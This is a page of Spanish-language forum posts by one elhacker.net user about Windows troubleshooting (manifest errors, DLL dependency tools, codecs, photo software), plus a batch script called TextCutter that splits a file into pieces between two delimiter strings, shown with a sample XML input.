Echo - Cuando intento instalar USB MON con el autorun.inf no me funciona, ¨Porqu‚? Echo ___________________________________________________________________________ | MORE Echo Windows XP/Vista: Echo: El servicio de "Reproducci¢n autom…tica" debe estar activado en el equipo. | MORE Echo Windows 7: Echo: Microsoft deshabilit£ POR COMPLETO el uso de un autorun.inf en pendrives, Echo: La £nica manera de ejecutar un autorun.inf es disponer de un pendrive, Echo: que se haga pasar por un dispositivo de CD-ROM para auto-reproducirse. | MORE Echo: PD: Inf¢rmate en internet sobre el modelo de pendrive antes de adquirirlo. | MORE Pause&Call :Logo
Echo - ¨Donde puedo conseguir m…s programas tuyos? Echo ___________________________________________ | MORE Echo: No tengo ninguna web ni blog personal, pero puedes visitar www.elhacker.net | MORE Echo: All¡ encontrar…s m…s scripts £tiles de todo tipo usando el buscador del foro, Echo: Tambi‚n me encontrar…s moderando la secci¢n de Scripting, donde siempre estar‚ Echo: dispuesto y encantado de resolver tus dudas. | MORE Pause&Exit/B 0
Espero que les sirva de ayuda  Comuniquen si existiera algún fallo en general o de compatibilidad con XP. Gracias.
|
|
|
|
|
895
|
Sistemas Operativos / Windows / Problema con los "Microsoft.Windows.Common-Controls" en algunos programas
|
en: 26 Septiembre 2012, 17:37 pm
|
Tengo un problema con aplicaciones que tienen un manifiesto como este: programa.exe manifest... <description>Programa.exe</description> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" publicKeyToken="6595b64144ccf1df" language="*" processorArchitecture="x86"/> </dependentAssembly> </dependency> ...
Uso Windows 7 x64 y este problema lo sufro desde hace unos años ya... pero ahora es cuando me afecta porque necesito usar 2 aplicaciones y no puedo ejecutarlas, me tiran error: Fotosizer es uno de los programas, y el otro es el Pop Art Studio. He intentado todo esto con el fotosizer: - Ejecutarlo el programa con compatibilidad en modo XP 2 y 3, a 256 colores, en fin, todas las opciones posibles.
- Probar versiones más antiguas del programa. (El mismo error.)
- Enviar correos al email de contacto de la aplicación (Sin respuesta)
- Monitorizar las dll que carga el programa al ejecutarse (Parece que tengo todas las dll en orden)
- Volver a registrar la OCX de microsoft y todas las DLL (Regsvr32 "C:\Windows\SysWOW64\MSCOMCTL.OCX")
- Instalar "Microsoft Visual Basic 6.0 Common Controls" http://www.microsoft.com/en-us/download/details.aspx?id=10019
- Reinstalar el visual basic 6.0 runtimes (Se supone que el fotosizer no usa más que eso y el MSCOMCTL.OCX)
- Reinstalar framework 4.0, y TODOS los paquetes de "Microsoft Visual C++ runtimes" (Tanto x86 como x64)
- Activar todos los servicios de Windows 7
- Editar el manifes/eliminarlo
- Varios reinicios entre reinstalaciones
Por más que me esfuerzo en buscar una solución para esto y solventarlo, no puedo más! La causa del error la desconozco, pero me da la espina que tiene que ver con los controles de Microsoft, porque es lo que tienen en común los dos programas que no puedo abrir, el manifiesto, y estoy ya hasta las pelotas, con perdón, y en mi caso reinstalando Windows no va a funcionar por motivos. Espero que alguien que sepa sobre la matería pueda ayudarme a conseguir arreglar esto de una vez  Muchas gracias!
|
|
|
|
|
896
|
Informática / Software / Monitorizar las DLL's y OCX que carga un programa
|
en: 25 Septiembre 2012, 14:14 pm
|
|
Necesito un programa del que no recuerdo el nombre, su función es monitorizar las dlls que necesita un programa para iniciarse, etc...
Existe una versión x86 y otra x64 del programa. El programa es bastante conocido pero no lo encuentro por ningún lado.
No me sirven otras alternativas como el "process explorer" ni ninguno parecido ya que no es lo mismo, en el programa que yo digo, eliges un archivo .exe para abrirlo y examinarlo aunque este exe no se pueda ejecutar en el sistema (Por un bug, un crash), por eso en el process explorer y otros me es imposible monitorizar ya que el exe en cuestión está bugeado, pero en el programa que comento se puede hacer a la perfección e incluso te resalta en color ROJO las dll's que faltan en el pc y las causantes de ese bug.
Lo necesito urgentemente, espero que alguien pueda responderme!
EDITO: ya lo encontré, era el "Dependency Walker" ^^, no lo volveré a perder xD.
saludos
|
|
|
|
|
897
|
Informática / Software / Busco software variado de retoque fotográfico esporádico
|
en: 25 Septiembre 2012, 13:17 pm
|
Busco un software que será del año 2000-2002 y básicamente servía para deformar las caras en las fotografías, tipo estirar la nariz o las orejas, ovular una zona... etc. creo que el soft se llamaba "Face dump pro" o algó parecido... Bueno, es un bastante anticuado pero los efectos quedaban bien la verdad xD, ¿Alguien sabe de que soft estoy hablando? Busco recomendaciones sobre aplicaciones similares para ese propósito, ya que prefiero hacerlo con un simple programa que consuma poco a tener que abrir photoshop... En resumen, Busco este tipo de software: - Software para deformar caras - Software para crear pop-art- Software para crear avatares  - Software para crear mosaicos- Software para crear otro tipo de efectos divertidos Bueno, estaría muy agradecido si saben programas que hagan alguna de las cosas que pido. PD: No busco software para crear montajes (El típico software para insertar tu cara en una foto...), para eso ya tengo Photoshop. Saludos.
|
|
|
|
|
899
|
Media / Multimedia / Duda sobre OGG vorbis y Matroska codec
|
en: 21 Septiembre 2012, 11:20 am
|
Hola, cuando hablamos sobre descargar e instalar el codec de OGG Vorbis, nos referimos al pack de codecs " open codecs" de esta página?: http://xiph.org/dshow/Y para reproducir MKV, supongo que es totalmente necesario instalar el codec de Matroska? bien, de ser así, nos estamos refiriendo al pack de codecs CCCP de la página de matroska?: http://www.cccp-project.net/O tal vez lo que hay que instalar es el Haali Media Splitter?: http://haali.su/mkv/ Por lo que veo el haali también soporta el playback de OGG, ¿No? PD: Ya sé que todo esto sería más fácil instalando por ejemplo el K-lite codec pack... Pero quiero seguir los pasos de Songoku y elegir los codecs adecuado xD Saludos
|
|
|
|
|
900
|
Programación / Scripting / [BATCH] [APORTE] TextCutter (Delimita texto de un archivo y lo corta en trozos)
|
en: 20 Septiembre 2012, 07:52 am
|
He visto estos últimos años a mucha gente preguntando como delimitar un texto para cortarlo en trozos, y generar los subarchivos delimitados, así que me he visto en la casi necesidad de crear esta función para ese propósito, así les será más fácil. @Echo OFF Title TEXTCUTTER [By Elektro H@cker]
REM Call :TEXTCUTTER "ARCHIVO" "DELIMITADOR (A)" "DEIMITADOR (B)"
:: Ejemplo Call :TEXTCUTTER "TEST.XML" "<fdaDeployJob" "</fdaDeployJob>"
Pause&Exit
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:TEXTCUTTER Echo # # # # # # # # Echo # # Echo # TEXT CUTTER # by Elektro H@cker Echo # # Echo # # # # # # # # | MORE
Setlocal enabledelayedexpansion
Set "FILE=%~nx1" SET "Delimiter_A=%~2" SET "Delimiter_B=%~3"
:: Comprobaciones iniciales If Exist "%FILE%" ( Echo # Procesar archivo : "%FILE%" Echo # Delimitar desde : "%Delimiter_A%" Echo # Delimitar hasta : "%Delimiter_B%" | MORE ) ELSE (Echo Archivo "%FILE%" no encontrado & GOTO:EOF)
Type "%FILE%" | FIND "%Delimiter_A%" >NUL || (Echo No se ha encontrado ninguna cadena con el delimitador (A^): "%Delimiter_A%" & GOTO:EOF) Type "%FILE%" | FIND "%Delimiter_B%" >NUL || (Echo No se ha encontrado ninguna cadena con el delimitador (B^): "%Delimiter_B%" & GOTO:EOF)
:: Creamos un archivo temporal y le agregamos X lineas en blanco para evitar errores en el SORT de Batch. REM Ajustamos el número de lineas a agregar para agilizar el proceso de generación de archivos. REM 100 lineas si el archivo original tiene menos de 100 lineas. REM 1.000 lineas si el archivo original tiene entre 100 y 999 lineas. REM 10.000 lineas si el archivo original tiene entre 1.000 y 9.999 lineas. REM 100.000 lineas si el archivo original tiene entre 10.000 y 99.999 lineas. REM 1.000.000 lineas si el archivo original tiene entre 100.000 y 999.999 lineas o más de 1.000.000 de lineas. For /F %%a in ('Type "%FILE%" ^| find /V /C ""') do (Echo %%a>"%TEMP%\%FILE%" & FOR %%? IN ("%TEMP%\%FILE%") DO (SET /A "longitud=%%~z? - 3")) Echo+ > "%TEMP%\%FILE%" IF "%LONGITUD%" LEQ "2" (Set /A "LINES=100") IF "%LONGITUD%" EQU "3" (Set /A "LINES=1000") IF "%LONGITUD%" EQU "4" (Set /A "LINES=10000") IF "%LONGITUD%" EQU "5" (Set /A "LINES=100000") IF "%LONGITUD%" GEQ "6" (Set /A "LINES=1000000") Echo Generando un archivo temporal, espere... For /L %%X in (2,1,%LINES%) Do (Echo+ >> "%TEMP%\%FILE%")
:: Eliminamos las lineas en blanco del archivo original y copiamos el resto en el archivo temporal. Type "%FILE%" | FINDSTR "." >> "%TEMP%\%FILE%"
:: Obtenemos el número de las lineas que contienen los delimitadores [A] y [B]. For /F "Delims=:" %%X in ('findstr /I /N "%Delimiter_A%" "%TEMP%\%FILE%"') do (Set /A "NUM_A+=1" && Set "Delimiter_A_!NUM_A!=%%X") For /F "Delims=:" %%X in ('findstr /I /N "%Delimiter_B%" "%TEMP%\%FILE%"') do (Set /A "NUM_B+=1" && Set "Delimiter_B_!NUM_B!=%%X")
:: Cortamos y generamos los archivos. Echo+ & Echo Generando los archivos, espere... | MORE
For /L %%X in (1,1,%NUM_B%) Do ( For /F "Tokens=* Delims=:" %%@ in ('Type "%TEMP%\%FILE%"') do (
Set /A "LINE+=1" SET "String=%%@"
IF NOT "!LINE!" GTR "!Delimiter_B_%%X!" ( IF "!LINE!" GEQ "!Delimiter_A_%%X!" ( IF NOT "!STRING!" EQU " " ( ECHO !STRING!>> "%~n1_%%X_%~x1" ) ) ) ) Set /A "LIN_A=!Delimiter_A_%%X! - %LINES%", "LIN_B=!Delimiter_B_%%X! - %LINES%" Set /A "LINE=0"
Echo [+] "%~n1_%%X_%~x1" Echo (Linea !LIN_A! hasta Linea !LIN_B!^) | MORE ) Setlocal disabledelayedexpansion
Echo Listo. GOTO:EOF  PD: Recuerden, así pueden ocultar la salida: Call : TEXTCUTTER "ARCHIVO" "DELIMITADOR (A )" "DEIMITADOR (B )" >NUL
Espero que les séa de ayuda. Saludos.
El archivo que he usado en el ejemplo: Test.XML---------------------------------------------- <fdaDeployJob xml:lang="es-ES"> <fileInfo> <displayName>Plus_IMS_ARG_DDDLEG_002_A_20120801.ZIP</displayName> <description>DATOS AR_DDDPLUS Argentina Ambiente plus Agosto 2012 CLIENT SERVICE, IMSHEALTH <additionalInfo></additionalInfo> <loginRequired>0</loginRequired> <approved>1</approved> <emailNotification>1</emailNotification> <activeDate>2012/09/19</activeDate> <expirationDate>2012/10/30</expirationDate> <fileRule> <productRestrictions> </productRestrictions> <companyRestrictions> </companyRestrictions> <productCompanyRestrictions> </productCompanyRestrictions> <individualRestrictions> <individualEmail owner="1">aduran@ar.imshealth.com</individualEmail> <individualEmail owner="0">mechenique@ar.imshealth.com</individualEmail> </individualRestrictions> <fileUploader> </fileUploader> </fileRule> </fileInfo> </fdaDeployJob> ---------------------------------------------- <fdaDeployJob xml:lang="en-EN"> <fileInfo> <displayName>Plus_IMS_ELEKTRO_H@CKER.ZIP</displayName> <description>blablablabla <additionalInfo></additionalInfo> <loginRequired>0</loginRequired> <approved>1</approved> <emailNotification>1</emailNotification> <activeDate>2011/11/22</activeDate> <expirationDate>2011/11/22</expirationDate> <fileRule> <productRestrictions> </productRestrictions> <companyRestrictions> </companyRestrictions> <productCompanyRestrictions> </productCompanyRestrictions> <individualRestrictions> <individualEmail owner="1">www.elhacker.net</individualEmail> <individualEmail owner="0">Elektro H@cker</individualEmail> </individualRestrictions> <fileUploader> </fileUploader> </fileRule> </fileInfo> </fdaDeployJob> ----------------------------------------------
|
|
|
|
|
|
| |
|